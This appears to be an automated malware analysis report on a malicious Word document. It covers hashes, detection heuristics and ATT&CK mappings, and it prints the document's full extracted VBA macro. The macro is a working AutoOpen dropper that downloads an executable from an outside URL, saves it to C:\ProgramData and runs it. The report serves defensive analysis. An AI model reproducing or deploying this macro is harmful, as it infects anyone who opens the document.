Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 d44a9d8c73c3ccb8…

MALICIOUS

Office (OOXML) / .DOCX

15.7 KB Created: 2024-12-09 07:34:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2026-06-24
MD5: 6cfbd2ef7f7222c38e724c3dc4ec1932 SHA-1: f1dd651a96b9669d6e20fc631d4439af97e8821e SHA-256: d44a9d8c73c3ccb81d90d03d511379c3c755e46e1b77acdb9cc79dcc1bab3e9f
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro executes, downloading a file from the URL "http://52575815-38-20200406120634.webstarterz.com/pSRrNpLv0bS37RA.exe" and saving it as "C:\ProgramData\pSRrNpLv0bS37RA.exe". The script then attempts to execute the downloaded file using the Shell function, indicating a downloader or dropper functionality.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            Call Shell(strFile, vbNormalFocus)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
                .Write objHTTP.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://52575815-38-20200406120634.webstarterz.com/pSRrNpLv0bS37RA.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1513 bytes
SHA-256: eafee8579d04e8ce3638aa0e5c08f9b736360b0ecc2e535ce1047fdbee01d2f1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
    Dim strURL As String
    Dim strFile As String
    Dim objHTTP As Object
    Dim objFSO As Object

    ' URL of the executable file to download
    strURL = "http://52575815-38-20200406120634.webstarterz.com/pSRrNpLv0bS37RA.exe"

    ' Destination file path where the downloaded executable will be saved
    strFile = "C:\ProgramData\pSRrNpLv0bS37RA.exe"

    ' Create a new instance of the WinHTTP object
    Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")

    ' Create a new instance of the FileSystemObject
    Set objFSO = CreateObject("Scripting.FileSystemObject")

    ' Download the file
    objHTTP.Open "GET", strURL, False
    objHTTP.Send

    ' Save the file if the request was successful
    If objHTTP.Status = 200 Then
        ' Create a binary stream and write the downloaded content to the file
        With CreateObject("ADODB.Stream")
            .Type = 1 ' Binary
            .Open
            .Write objHTTP.responseBody
            .SaveToFile strFile, 2 ' Overwrite
            .Close
        End With
        
        ' Execute the downloaded executable
        Call Shell(strFile, vbNormalFocus)
    Else
        
    End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9728 bytes
SHA-256: 7708de6408de18ead7c6627f17e9c9f084bad38be5b9da49bb197f8ee381c0b1
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely